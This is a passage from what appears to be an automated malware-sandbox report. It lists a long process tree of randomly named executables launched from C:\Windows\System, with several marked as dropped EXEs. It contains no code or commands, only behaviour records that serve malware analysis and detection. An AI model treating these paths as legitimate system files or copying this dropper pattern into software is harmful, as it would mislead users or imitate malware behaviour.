- C:\Windows\System\mSMTXGk.exe
  C:\Windows\System\mSMTXGk.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\hMmXCPU.exe
  C:\Windows\System\hMmXCPU.exe
  2⤵
  - Executes dropped EXE
  PID:4796
- C:\Windows\System\uIAfEdX.exe
  C:\Windows\System\uIAfEdX.exe
  2⤵
  - Executes dropped EXE
  PID:1380
- C:\Windows\System\KGEqOrF.exe
  C:\Windows\System\KGEqOrF.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\SvuyLEt.exe
  C:\Windows\System\SvuyLEt.exe
  2⤵
  - Executes dropped EXE
  PID:4040
- C:\Windows\System\lPkeCVL.exe
  C:\Windows\System\lPkeCVL.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\qIpBRhg.exe
  C:\Windows\System\qIpBRhg.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\sVTBQAV.exe
  C:\Windows\System\sVTBQAV.exe
  2⤵
  - Executes dropped EXE
  PID:444
- C:\Windows\System\rsiAhwy.exe
  C:\Windows\System\rsiAhwy.exe
  2⤵
  - Executes dropped EXE
  PID:2216
- C:\Windows\System\udeakVP.exe
  C:\Windows\System\udeakVP.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\iBsOkDQ.exe
  C:\Windows\System\iBsOkDQ.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\tuwDJCk.exe
  C:\Windows\System\tuwDJCk.exe
  2⤵
  - Executes dropped EXE
  PID:460
- C:\Windows\System\zHTwOSB.exe
  C:\Windows\System\zHTwOSB.exe
  2⤵
  - Executes dropped EXE
  PID:3972
- C:\Windows\System\noVNGFR.exe
  C:\Windows\System\noVNGFR.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Windows\System\UHbmDwk.exe
  C:\Windows\System\UHbmDwk.exe
  2⤵
  - Executes dropped EXE
  PID:4472
- C:\Windows\System\SbGEaln.exe
  C:\Windows\System\SbGEaln.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\YGcoROp.exe
  C:\Windows\System\YGcoROp.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\NfPtlYU.exe
  C:\Windows\System\NfPtlYU.exe
  2⤵
  - Executes dropped EXE
  PID:436
- C:\Windows\System\tQItbRN.exe
  C:\Windows\System\tQItbRN.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\yHaraPD.exe
  C:\Windows\System\yHaraPD.exe
  2⤵
  - Executes dropped EXE
  PID:3556
- C:\Windows\System\dvAXYen.exe
  C:\Windows\System\dvAXYen.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Windows\System\hIfOqyd.exe
  C:\Windows\System\hIfOqyd.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\SXZSclX.exe
  C:\Windows\System\SXZSclX.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\SjjcFhO.exe
  C:\Windows\System\SjjcFhO.exe
  2⤵
  - Executes dropped EXE
  PID:4164
- C:\Windows\System\tIqJRHb.exe
  C:\Windows\System\tIqJRHb.exe
  2⤵
  - Executes dropped EXE
  PID:3056
- C:\Windows\System\OiLNQTQ.exe
  C:\Windows\System\OiLNQTQ.exe
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Windows\System\qzdIztf.exe
  C:\Windows\System\qzdIztf.exe
  2⤵
  - Executes dropped EXE
  PID:2248
- C:\Windows\System\xdyheOS.exe
  C:\Windows\System\xdyheOS.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- C:\Windows\System\anVYarI.exe
  C:\Windows\System\anVYarI.exe
  2⤵
  - Executes dropped EXE
  PID:4292
- C:\Windows\System\dCExyRU.exe
  C:\Windows\System\dCExyRU.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\MPrQEZo.exe
  C:\Windows\System\MPrQEZo.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\UiROrnZ.exe
  C:\Windows\System\UiROrnZ.exe
  2⤵
  - Executes dropped EXE
  PID:4468
- C:\Windows\System\wGNNnmZ.exe
  C:\Windows\System\wGNNnmZ.exe
  2⤵
  - Executes dropped EXE
  PID:3132
- C:\Windows\System\TWCtqYA.exe
  C:\Windows\System\TWCtqYA.exe
  2⤵
  - Executes dropped EXE
  PID:3356
- C:\Windows\System\TBuMSFL.exe
  C:\Windows\System\TBuMSFL.exe
  2⤵
  PID:2092
- C:\Windows\System\ewoNKIl.exe
  C:\Windows\System\ewoNKIl.exe
  2⤵
  PID:2868
- C:\Windows\System\YLPPVCx.exe
  C:\Windows\System\YLPPVCx.exe
  2⤵
  PID:3584
- C:\Windows\System\XGkAPLv.exe
  C:\Windows\System\XGkAPLv.exe
  2⤵
  PID:2664
- C:\Windows\System\DULEnYp.exe
  C:\Windows\System\DULEnYp.exe
  2⤵
  PID:4380
- C:\Windows\System\tlLzahS.exe
  C:\Windows\System\tlLzahS.exe
  2⤵
  PID:3192
- C:\Windows\System\DrLUTcr.exe
  C:\Windows\System\DrLUTcr.exe
  2⤵
  PID:1944
- C:\Windows\System\qAQEzhU.exe
  C:\Windows\System\qAQEzhU.exe
  2⤵
  PID:1288
- C:\Windows\System\PoNfamp.exe
  C:\Windows\System\PoNfamp.exe
  2⤵
  PID:2920
- C:\Windows\System\daRdqmw.exe
  C:\Windows\System\daRdqmw.exe
  2⤵
  PID:840
- C:\Windows\System\sPFFFqB.exe
  C:\Windows\System\sPFFFqB.exe
  2⤵
  PID:4572
- C:\Windows\System\UKKVuWb.exe
  C:\Windows\System\UKKVuWb.exe
  2⤵
  PID:2876
- C:\Windows\System\oljQutN.exe
  C:\Windows\System\oljQutN.exe
  2⤵
  PID:3036
- C:\Windows\System\bYprbso.exe
  C:\Windows\System\bYprbso.exe
  2⤵
  PID:2280
- C:\Windows\System\UbVkzmK.exe
  C:\Windows\System\UbVkzmK.exe
  2⤵
  PID:2940
- C:\Windows\System\FjHgJnO.exe
  C:\Windows\System\FjHgJnO.exe
  2⤵
  PID:2336
- C:\Windows\System\PFoTlLp.exe
  C:\Windows\System\PFoTlLp.exe
  2⤵
  PID:1792
- C:\Windows\System\THGwtJE.exe
  C:\Windows\System\THGwtJE.exe
  2⤵
  PID:3212
- C:\Windows\System\AKhLLdt.exe
  C:\Windows\System\AKhLLdt.exe
  2⤵
  PID:4020
- C:\Windows\System\hYGzNjm.exe
  C:\Windows\System\hYGzNjm.exe
  2⤵
  PID:2656
- C:\Windows\System\HAmcKHk.exe
  C:\Windows\System\HAmcKHk.exe
  2⤵
  PID:5008
- C:\Windows\System\cMRubRS.exe
  C:\Windows\System\cMRubRS.exe
  2⤵
  PID:4900
- C:\Windows\System\KVGdcMv.exe
  C:\Windows\System\KVGdcMv.exe
  2⤵
  PID:3888
- C:\Windows\System\inNIWJC.exe
  C:\Windows\System\inNIWJC.exe
  2⤵
  PID:2492
- C:\Windows\System\zvAWgnJ.exe
  C:\Windows\System\zvAWgnJ.exe
  2⤵
  PID:4184
- C:\Windows\System\JlFtlLg.exe
  C:\Windows\System\JlFtlLg.exe
  2⤵
  PID:2476
- C:\Windows\System\lRNfDpQ.exe
  C:\Windows\System\lRNfDpQ.exe
  2⤵
  PID:4304
- C:\Windows\System\hhCPwhQ.exe
  C:\Windows\System\hhCPwhQ.exe
  2⤵
  PID:2352
- C:\Windows\System\QoGLILG.exe
  C:\Windows\System\QoGLILG.exe
  2⤵
  PID:2008
- C:\Windows\System\yBztZHG.exe
  C:\Windows\System\yBztZHG.exe
  2⤵
  PID:3144
- C:\Windows\System\ZIFXFId.exe
  C:\Windows\System\ZIFXFId.exe
  2⤵
  PID:1940
- C:\Windows\System\KJZDJCL.exe
  C:\Windows\System\KJZDJCL.exe
  2⤵
  PID:4460
- C:\Windows\System\jzgQZzI.exe
  C:\Windows\System\jzgQZzI.exe
  2⤵
  PID:2420
- C:\Windows\System\FPtYhMI.exe
  C:\Windows\System\FPtYhMI.exe
  2⤵
  PID:4928
- C:\Windows\System\YeHAweU.exe
  C:\Windows\System\YeHAweU.exe
  2⤵
  PID:4832
- C:\Windows\System\owJiKbQ.exe
  C:\Windows\System\owJiKbQ.exe
  2⤵
  PID:2676
- C:\Windows\System\lWUSJBr.exe
  C:\Windows\System\lWUSJBr.exe
  2⤵
  PID:3264
- C:\Windows\System\tLpjFBW.exe
  C:\Windows\System\tLpjFBW.exe
  2⤵
  PID:5136
- C:\Windows\System\xqlnymW.exe
  C:\Windows\System\xqlnymW.exe
  2⤵
  PID:5172
- C:\Windows\System\BnULYem.exe
  C:\Windows\System\BnULYem.exe
  2⤵
  PID:5192
- C:\Windows\System\pmJoOBD.exe
  C:\Windows\System\pmJoOBD.exe
  2⤵
  PID:5220
- C:\Windows\System\VnrYwaP.exe
  C:\Windows\System\VnrYwaP.exe
  2⤵
  PID:5236
- C:\Windows\System\JYGFLQX.exe
  C:\Windows\System\JYGFLQX.exe
  2⤵
  PID:5256
- C:\Windows\System\jhjESNR.exe
  C:\Windows\System\jhjESNR.exe
  2⤵
  PID:5276
- C:\Windows\System\qCXpaIx.exe
  C:\Windows\System\qCXpaIx.exe
  2⤵
  PID:5296
- C:\Windows\System\QPnaIat.exe
  C:\Windows\System\QPnaIat.exe
  2⤵
  PID:5316
- C:\Windows\System\FUqloOd.exe
  C:\Windows\System\FUqloOd.exe
  2⤵
  PID:5340
- C:\Windows\System\HNczzLs.exe
  C:\Windows\System\HNczzLs.exe
  2⤵
  PID:5360
- C:\Windows\System\niHzCej.exe
  C:\Windows\System\niHzCej.exe
  2⤵
  PID:5376
- C:\Windows\System\ADQqagZ.exe
  C:\Windows\System\ADQqagZ.exe
  2⤵
  PID:5400
- C:\Windows\System\TDFMNSH.exe
  C:\Windows\System\TDFMNSH.exe
  2⤵
  PID:5420
- C:\Windows\System\qxtkPpd.exe
  C:\Windows\System\qxtkPpd.exe
  2⤵
  PID:5444
- C:\Windows\System\DcoHlZw.exe
  C:\Windows\System\DcoHlZw.exe
  2⤵
  PID:5468
- C:\Windows\System\TobGRuY.exe
  C:\Windows\System\TobGRuY.exe
  2⤵
  PID:5488
- C:\Windows\System\wCAJtxF.exe
  C:\Windows\System\wCAJtxF.exe
  2⤵
  PID:5508
- C:\Windows\System\IQWXJFD.exe
  C:\Windows\System\IQWXJFD.exe
  2⤵
  PID:5528
- C:\Windows\System\KUavFkb.exe
  C:\Windows\System\KUavFkb.exe
  2⤵
  PID:5556
- C:\Windows\System\xrfLrTB.exe
  C:\Windows\System\xrfLrTB.exe
  2⤵
  PID:5572
- C:\Windows\System\nYjzKmP.exe
  C:\Windows\System\nYjzKmP.exe
  2⤵
  PID:5600
- C:\Windows\System\iXCRaRZ.exe
  C:\Windows\System\iXCRaRZ.exe
  2⤵
  PID:5628
- C:\Windows\System\dOIHVFJ.exe
  C:\Windows\System\dOIHVFJ.exe
  2⤵
  PID:5648
- C:\Windows\System\DpVykYp.exe
  C:\Windows\System\DpVykYp.exe
  2⤵
  PID:5664
- C:\Windows\System\FnifFGq.exe
  C:\Windows\System\FnifFGq.exe
  2⤵
  PID:5684
- C:\Windows\System\yjIvkDb.exe
  C:\Windows\System\yjIvkDb.exe
  2⤵
  PID:5708
- C:\Windows\System\bYpcWvw.exe
  C:\Windows\System\bYpcWvw.exe
  2⤵
  PID:5736
- C:\Windows\System\BWpANIl.exe
  C:\Windows\System\BWpANIl.exe
  2⤵
  PID:5764
- C:\Windows\System\VrMhcOq.exe
  C:\Windows\System\VrMhcOq.exe
  2⤵
  PID:5780
- C:\Windows\System\RHRHvOd.exe
  C:\Windows\System\RHRHvOd.exe
  2⤵
  PID:5808
- C:\Windows\System\TecDHxr.exe
  C:\Windows\System\TecDHxr.exe
  2⤵
  PID:5824
- C:\Windows\System\FXHIjPP.exe
  C:\Windows\System\FXHIjPP.exe
  2⤵
  PID:5848
- C:\Windows\System\trXgpZx.exe
  C:\Windows\System\trXgpZx.exe
  2⤵
  PID:5872
- C:\Windows\System\UfJNzNA.exe
  C:\Windows\System\UfJNzNA.exe
  2⤵
  PID:5900
- C:\Windows\System\jboONXq.exe
  C:\Windows\System\jboONXq.exe
  2⤵
  PID:5920
- C:\Windows\System\rzqDIuO.exe
  C:\Windows\System\rzqDIuO.exe
  2⤵
  PID:5944
- C:\Windows\System\LCikhhz.exe
  C:\Windows\System\LCikhhz.exe
  2⤵
  PID:5968
- C:\Windows\System\FZVJwZZ.exe
  C:\Windows\System\FZVJwZZ.exe
  2⤵
  PID:5996
- C:\Windows\System\GlXGjrD.exe
  C:\Windows\System\GlXGjrD.exe
  2⤵
  PID:6020
- C:\Windows\System\WxsVjHc.exe
  C:\Windows\System\WxsVjHc.exe
  2⤵
  PID:6040
- C:\Windows\System\wFmgyjC.exe
  C:\Windows\System\wFmgyjC.exe
  2⤵
  PID:6064
- C:\Windows\System\zIKDOAx.exe
  C:\Windows\System\zIKDOAx.exe
  2⤵
  PID:6080
- C:\Windows\System\nrOQElD.exe
  C:\Windows\System\nrOQElD.exe
  2⤵
  PID:6104
- C:\Windows\System\gxoLCxn.exe
  C:\Windows\System\gxoLCxn.exe
  2⤵
  PID:6128
- C:\Windows\System\mYqEZva.exe
  C:\Windows\System\mYqEZva.exe
  2⤵
  PID:3028
- C:\Windows\System\JyMcdAP.exe
  C:\Windows\System\JyMcdAP.exe
  2⤵
  PID:2028
- C:\Windows\System\RobjxXM.exe
  C:\Windows\System\RobjxXM.exe
  2⤵
  PID:4320
- C:\Windows\System\gZMgfvs.exe
  C:\Windows\System\gZMgfvs.exe
  2⤵
  PID:5124
- C:\Windows\System\luFyGCH.exe
  C:\Windows\System\luFyGCH.exe
  2⤵
  PID:1460
- C:\Windows\System\PmzWQJa.exe
  C:\Windows\System\PmzWQJa.exe
  2⤵
  PID:5208
- C:\Windows\System\AuOnvxU.exe
  C:\Windows\System\AuOnvxU.exe
  2⤵
  PID:4336
- C:\Windows\System\WOoVdtn.exe
  C:\Windows\System\WOoVdtn.exe
  2⤵
  PID:4316
- C:\Windows\System\hiBEFcS.exe
  C:\Windows\System\hiBEFcS.exe
  2⤵
  PID:5336
- C:\Windows\System\PcBUyNw.exe
  C:\Windows\System\PcBUyNw.exe
  2⤵
  PID:3744
- C:\Windows\System\pcPiJVQ.exe
  C:\Windows\System\pcPiJVQ.exe
  2⤵
  PID:1628
- C:\Windows\System\WXApMLY.exe
  C:\Windows\System\WXApMLY.exe
  2⤵
  PID:1964
- C:\Windows\System\NpscjeH.exe
  C:\Windows\System\NpscjeH.exe
  2⤵
  PID:5184
- C:\Windows\System\PlFqiGs.exe
  C:\Windows\System\PlFqiGs.exe
  2⤵
  PID:5748
- C:\Windows\System\miLnYDc.exe
  C:\Windows\System\miLnYDc.exe
  2⤵
  PID:5244
- C:\Windows\System\THKnted.exe
  C:\Windows\System\THKnted.exe
  2⤵
  PID:5772
- C:\Windows\System\wrBGfEd.exe
  C:\Windows\System\wrBGfEd.exe
  2⤵
  PID:5816
- C:\Windows\System\ZVRYJAu.exe
  C:\Windows\System\ZVRYJAu.exe
  2⤵
  PID:6148
- C:\Windows\System\bXbvLbY.exe
  C:\Windows\System\bXbvLbY.exe
  2⤵
  PID:6172
- C:\Windows\System\IKEDOcz.exe
  C:\Windows\System\IKEDOcz.exe
  2⤵
  PID:6192
- C:\Windows\System\vxZLxaC.exe
  C:\Windows\System\vxZLxaC.exe
  2⤵
  PID:6216
- C:\Windows\System\uMVIhQf.exe
  C:\Windows\System\uMVIhQf.exe
  2⤵
  PID:6236
- C:\Windows\System\pbVMDBO.exe
  C:\Windows\System\pbVMDBO.exe
  2⤵
  PID:6260
- C:\Windows\System\oHKLIjk.exe
  C:\Windows\System\oHKLIjk.exe
  2⤵
  PID:6288
- C:\Windows\System\qvZhuvU.exe
  C:\Windows\System\qvZhuvU.exe
  2⤵
  PID:6304
- C:\Windows\System\BWYIqbM.exe
  C:\Windows\System\BWYIqbM.exe
  2⤵
  PID:6324
- C:\Windows\System\sTLQTpg.exe
  C:\Windows\System\sTLQTpg.exe
  2⤵
  PID:6348
- C:\Windows\System\vPjNQtc.exe
  C:\Windows\System\vPjNQtc.exe
  2⤵
  PID:6368
- C:\Windows\System\MPhVLRh.exe
  C:\Windows\System\MPhVLRh.exe
  2⤵
  PID:6396
- C:\Windows\System\PyJYicS.exe
  C:\Windows\System\PyJYicS.exe
  2⤵
  PID:6412
- C:\Windows\System\pQoORFJ.exe
  C:\Windows\System\pQoORFJ.exe
  2⤵
  PID:6432
- C:\Windows\System\dXWGrTO.exe
  C:\Windows\System\dXWGrTO.exe
  2⤵
  PID:6456
- C:\Windows\System\QdFFraO.exe
  C:\Windows\System\QdFFraO.exe
  2⤵
  PID:6476
- C:\Windows\System\QUWMDDe.exe
  C:\Windows\System\QUWMDDe.exe
  2⤵
  PID:6520
- C:\Windows\System\ifXIjtY.exe
  C:\Windows\System\ifXIjtY.exe
  2⤵
  PID:6552
- C:\Windows\System\meVKtVi.exe
  C:\Windows\System\meVKtVi.exe
  2⤵
  PID:6572
- C:\Windows\System\PlxjlOz.exe
  C:\Windows\System\PlxjlOz.exe
  2⤵
  PID:6596
- C:\Windows\System\kMJVQPv.exe
  C:\Windows\System\kMJVQPv.exe
  2⤵
  PID:6612
- C:\Windows\System\cylFlRA.exe
  C:\Windows\System\cylFlRA.exe
  2⤵
  PID:6636
- C:\Windows\System\UskZKxG.exe
  C:\Windows\System\UskZKxG.exe
  2⤵
  PID:6660
- C:\Windows\System\MvEKKOM.exe
  C:\Windows\System\MvEKKOM.exe
  2⤵
  PID:6680
- C:\Windows\System\tYSuZxT.exe
  C:\Windows\System\tYSuZxT.exe
  2⤵
  PID:6704
- C:\Windows\System\VbRXjaj.exe
  C:\Windows\System\VbRXjaj.exe
  2⤵
  PID:6724
- C:\Windows\System\ciYntAa.exe
  C:\Windows\System\ciYntAa.exe
  2⤵
  PID:6748
- C:\Windows\System\Qponrcv.exe
  C:\Windows\System\Qponrcv.exe
  2⤵
  PID:6764
- C:\Windows\System\YOBdTaX.exe
  C:\Windows\System\YOBdTaX.exe
  2⤵
  PID:6788
- C:\Windows\System\cjjSdYB.exe
  C:\Windows\System\cjjSdYB.exe
  2⤵
  PID:6812
- C:\Windows\System\SzqSdoP.exe
  C:\Windows\System\SzqSdoP.exe
  2⤵
  PID:6832
- C:\Windows\System\FlqXvac.exe
  C:\Windows\System\FlqXvac.exe
  2⤵
  PID:6852
- C:\Windows\System\AZsPNwL.exe
  C:\Windows\System\AZsPNwL.exe
  2⤵
  PID:6872
- C:\Windows\System\LlqCbOX.exe
  C:\Windows\System\LlqCbOX.exe
  2⤵
  PID:6900
- C:\Windows\System\emuaLsw.exe
  C:\Windows\System\emuaLsw.exe
  2⤵
  PID:6920
- C:\Windows\System\wwgxyZb.exe
  C:\Windows\System\wwgxyZb.exe
  2⤵
  PID:6948
- C:\Windows\System\ptndVdq.exe
  C:\Windows\System\ptndVdq.exe
  2⤵
  PID:6968
- C:\Windows\System\sfUjHTn.exe
  C:\Windows\System\sfUjHTn.exe
  2⤵
  PID:6984
- C:\Windows\System\QPDxebe.exe
  C:\Windows\System\QPDxebe.exe
  2⤵
  PID:7004
- C:\Windows\System\qtYeeIS.exe
  C:\Windows\System\qtYeeIS.exe
  2⤵
  PID:7024
- C:\Windows\System\fEfBtnz.exe
  C:\Windows\System\fEfBtnz.exe
  2⤵
  PID:7044
- C:\Windows\System\IkHtsGQ.exe
  C:\Windows\System\IkHtsGQ.exe
  2⤵
  PID:7064
- C:\Windows\System\RIMmhSQ.exe
  C:\Windows\System\RIMmhSQ.exe
  2⤵
  PID:7088
- C:\Windows\System\VFFSUjn.exe
  C:\Windows\System\VFFSUjn.exe
  2⤵
  PID:7112
- C:\Windows\System\pEdDLgu.exe
  C:\Windows\System\pEdDLgu.exe
  2⤵
  PID:7136
- C:\Windows\System\RCeutiB.exe
  C:\Windows\System\RCeutiB.exe
  2⤵
  PID:7160
- C:\Windows\System\FVeCfyd.exe
  C:\Windows\System\FVeCfyd.exe
  2⤵
  PID:1248
- C:\Windows\System\XwukHWq.exe
  C:\Windows\System\XwukHWq.exe
  2⤵
  PID:4300
- C:\Windows\System\CRDeUXc.exe
  C:\Windows\System\CRDeUXc.exe
  2⤵
  PID:5456
- C:\Windows\System\mqVlqLL.exe
  C:\Windows\System\mqVlqLL.exe
  2⤵
  PID:5504
- C:\Windows\System\VHViirL.exe
  C:\Windows\System\VHViirL.exe
  2⤵
  PID:6076
- C:\Windows\System\CHPoaqM.exe
  C:\Windows\System\CHPoaqM.exe
  2⤵
  PID:3764
- C:\Windows\System\HYyATdr.exe
  C:\Windows\System\HYyATdr.exe
  2⤵
  PID:1596
- C:\Windows\System\KiWZZmP.exe
  C:\Windows\System\KiWZZmP.exe
  2⤵
  PID:6184
- C:\Windows\System\DmrIicT.exe
  C:\Windows\System\DmrIicT.exe
  2⤵
  PID:5884
- C:\Windows\System\fJYAlom.exe
  C:\Windows\System\fJYAlom.exe
  2⤵
  PID:5960
- C:\Windows\System\TbWCPAX.exe
  C:\Windows\System\TbWCPAX.exe
  2⤵
  PID:5484
- C:\Windows\System\hvYKMEX.exe
  C:\Windows\System\hvYKMEX.exe
  2⤵
  PID:6320
- C:\Windows\System\XOYLLGX.exe
  C:\Windows\System\XOYLLGX.exe
  2⤵
  PID:6364
- C:\Windows\System\vEVegNA.exe
  C:\Windows\System\vEVegNA.exe
  2⤵
  PID:5580
- C:\Windows\System\nUkqkxs.exe
  C:\Windows\System\nUkqkxs.exe
  2⤵
  PID:6404
- C:\Windows\System\NKYMjRd.exe
  C:\Windows\System\NKYMjRd.exe
  2⤵
  PID:6428
- C:\Windows\System\IFTtmZI.exe
  C:\Windows\System\IFTtmZI.exe
  2⤵
  PID:2956
- C:\Windows\System\ImvfXTF.exe
  C:\Windows\System\ImvfXTF.exe
  2⤵
  PID:5160
- C:\Windows\System\qHITvrE.exe
  C:\Windows\System\qHITvrE.exe
  2⤵
  PID:5860
- C:\Windows\System\waPzmAr.exe
  C:\Windows\System\waPzmAr.exe
  2⤵
  PID:6928
- C:\Windows\System\bNtYSnl.exe
  C:\Windows\System\bNtYSnl.exe
  2⤵
  PID:6492
- C:\Windows\System\vggNUlX.exe
  C:\Windows\System\vggNUlX.exe
  2⤵
  PID:6560
- C:\Windows\System\LLzkjvu.exe
  C:\Windows\System\LLzkjvu.exe
  2⤵
  PID:7176
- C:\Windows\System\fWSSGYh.exe
  C:\Windows\System\fWSSGYh.exe
  2⤵
  PID:7204
- C:\Windows\System\eixTCgD.exe
  C:\Windows\System\eixTCgD.exe
  2⤵
  PID:7232
- C:\Windows\System\fVNKqSO.exe
  C:\Windows\System\fVNKqSO.exe
  2⤵
  PID:7252
- C:\Windows\System\kzjNJoA.exe
  C:\Windows\System\kzjNJoA.exe
  2⤵
  PID:7280
- C:\Windows\System\xXrKZmN.exe
  C:\Windows\System\xXrKZmN.exe
  2⤵
  PID:7304
- C:\Windows\System\kEcPYyO.exe
  C:\Windows\System\kEcPYyO.exe
  2⤵
  PID:7320
- C:\Windows\System\bOHGtWi.exe
  C:\Windows\System\bOHGtWi.exe
  2⤵
  PID:7344
- C:\Windows\System\aGnamlW.exe
  C:\Windows\System\aGnamlW.exe
  2⤵
  PID:7364
- C:\Windows\System\psHTCkf.exe
  C:\Windows\System\psHTCkf.exe
  2⤵
  PID:7384
- C:\Windows\System\IAAptaN.exe
  C:\Windows\System\IAAptaN.exe
  2⤵
  PID:7400
- C:\Windows\System\hXKVyPz.exe
  C:\Windows\System\hXKVyPz.exe
  2⤵
  PID:7424
- C:\Windows\System\wPMaCgf.exe
  C:\Windows\System\wPMaCgf.exe
  2⤵
  PID:7448
- C:\Windows\System\ZRPQOCV.exe
  C:\Windows\System\ZRPQOCV.exe
  2⤵
  PID:7464
- C:\Windows\System\WVZwEiF.exe
  C:\Windows\System\WVZwEiF.exe
  2⤵
  PID:7488
- C:\Windows\System\VgDqfll.exe
  C:\Windows\System\VgDqfll.exe
  2⤵
  PID:7508
- C:\Windows\System\HnzDLeq.exe
  C:\Windows\System\HnzDLeq.exe
  2⤵
  PID:7528
- C:\Windows\System\KEPMNhC.exe
  C:\Windows\System\KEPMNhC.exe
  2⤵
  PID:7544
- C:\Windows\System\mbSWSUN.exe
  C:\Windows\System\mbSWSUN.exe
  2⤵
  PID:7572
- C:\Windows\System\QCdQgTn.exe
  C:\Windows\System\QCdQgTn.exe
  2⤵
  PID:7588
- C:\Windows\System\BmsVUPp.exe
  C:\Windows\System\BmsVUPp.exe
  2⤵
  PID:7620
- C:\Windows\System\dHWiqvo.exe
  C:\Windows\System\dHWiqvo.exe
  2⤵
  PID:7644
- C:\Windows\System\djlRVqK.exe
  C:\Windows\System\djlRVqK.exe
  2⤵
  PID:7664
- C:\Windows\System\MkcsPtZ.exe
  C:\Windows\System\MkcsPtZ.exe
  2⤵
  PID:7696
- C:\Windows\System\xAuiUnS.exe
  C:\Windows\System\xAuiUnS.exe
  2⤵
  PID:7716
- C:\Windows\System\akupnUK.exe
  C:\Windows\System\akupnUK.exe
  2⤵
  PID:7744
- C:\Windows\System\nWDALpo.exe
  C:\Windows\System\nWDALpo.exe
  2⤵
  PID:7772
- C:\Windows\System\IuQgbcA.exe
  C:\Windows\System\IuQgbcA.exe
  2⤵
  PID:7792
- C:\Windows\System\PHJNnFp.exe
  C:\Windows\System\PHJNnFp.exe
  2⤵
  PID:7824
- C:\Windows\System\ysHksYx.exe
  C:\Windows\System\ysHksYx.exe
  2⤵
  PID:7848
- C:\Windows\System\QueGWUZ.exe
  C:\Windows\System\QueGWUZ.exe
  2⤵
  PID:7872
- C:\Windows\System\IdAMKDl.exe
  C:\Windows\System\IdAMKDl.exe
  2⤵
  PID:7896
- C:\Windows\System\RyRCQOn.exe
  C:\Windows\System\RyRCQOn.exe
  2⤵
  PID:7932
- C:\Windows\System\CEnFMlI.exe
  C:\Windows\System\CEnFMlI.exe
  2⤵
  PID:7948
- C:\Windows\System\TlJuyxT.exe
  C:\Windows\System\TlJuyxT.exe
  2⤵
  PID:7972
- C:\Windows\System\wKVwQrj.exe
  C:\Windows\System\wKVwQrj.exe
  2⤵
  PID:8000
- C:\Windows\System\WEPEBEA.exe
  C:\Windows\System\WEPEBEA.exe
  2⤵
  PID:8020
- C:\Windows\System\wWHPqZW.exe
  C:\Windows\System\wWHPqZW.exe
  2⤵
  PID:8044
- C:\Windows\System\CDWICrB.exe
  C:\Windows\System\CDWICrB.exe
  2⤵
  PID:8076
- C:\Windows\System\DYWqVuz.exe
  C:\Windows\System\DYWqVuz.exe
  2⤵
  PID:8092
- C:\Windows\System\ibtpSep.exe
  C:\Windows\System\ibtpSep.exe
  2⤵
  PID:8112
- C:\Windows\System\flIWuCP.exe
  C:\Windows\System\flIWuCP.exe
  2⤵
  PID:8136
- C:\Windows\System\QwxFebR.exe
  C:\Windows\System\QwxFebR.exe
  2⤵
  PID:8164
- C:\Windows\System\vSHRDuw.exe
  C:\Windows\System\vSHRDuw.exe
  2⤵
  PID:8184
- C:\Windows\System\sABPPGV.exe
  C:\Windows\System\sABPPGV.exe
  2⤵
  PID:6672
- C:\Windows\System\njSUMVA.exe
  C:\Windows\System\njSUMVA.exe
  2⤵
  PID:6056
- C:\Windows\System\bSUfsml.exe
  C:\Windows\System\bSUfsml.exe
  2⤵
  PID:6092
- C:\Windows\System\XMuZqkM.exe
  C:\Windows\System\XMuZqkM.exe
  2⤵
  PID:6760
- C:\Windows\System\uktxTTn.exe
  C:\Windows\System\uktxTTn.exe
  2⤵
  PID:6360
- C:\Windows\System\RLcFeVf.exe
  C:\Windows\System\RLcFeVf.exe
  2⤵
  PID:6608
- C:\Windows\System\WljrELl.exe
  C:\Windows\System\WljrELl.exe
  2⤵
  PID:6312
- C:\Windows\System\NyksRZQ.exe
  C:\Windows\System\NyksRZQ.exe
  2⤵
  PID:6996
- C:\Windows\System\XflCTZv.exe
  C:\Windows\System\XflCTZv.exe
  2⤵
  PID:1172
- C:\Windows\System\gklVfAN.exe
  C:\Windows\System\gklVfAN.exe
  2⤵
  PID:5500
- C:\Windows\System\dxaioUh.exe
  C:\Windows\System\dxaioUh.exe
  2⤵
  PID:6448
- C:\Windows\System\VHFqUUi.exe
  C:\Windows\System\VHFqUUi.exe
  2⤵
  PID:5348
- C:\Windows\System\lRoUPGy.exe
  C:\Windows\System\lRoUPGy.exe
  2⤵
  PID:7228
- C:\Windows\System\SvOelyK.exe
  C:\Windows\System\SvOelyK.exe
  2⤵
  PID:8216
- C:\Windows\System\YyAzwcW.exe
  C:\Windows\System\YyAzwcW.exe
  2⤵
  PID:8232
- C:\Windows\System\PoYdgTq.exe
  C:\Windows\System\PoYdgTq.exe
  2⤵
  PID:8256
- C:\Windows\System\opwjlJe.exe
  C:\Windows\System\opwjlJe.exe
  2⤵
  PID:8280
- C:\Windows\System\IPmkaXE.exe
  C:\Windows\System\IPmkaXE.exe
  2⤵
  PID:8300
- C:\Windows\System\PZJntHe.exe
  C:\Windows\System\PZJntHe.exe
  2⤵
  PID:8324
- C:\Windows\System\MgFVBmz.exe
  C:\Windows\System\MgFVBmz.exe
  2⤵
  PID:8348
- C:\Windows\System\XRpdDXQ.exe
  C:\Windows\System\XRpdDXQ.exe
  2⤵
  PID:8368
- C:\Windows\System\ZdORNmN.exe
  C:\Windows\System\ZdORNmN.exe
  2⤵
  PID:8392
- C:\Windows\System\UXtqMmA.exe
  C:\Windows\System\UXtqMmA.exe
  2⤵
  PID:8408
- C:\Windows\System\mFsWmev.exe
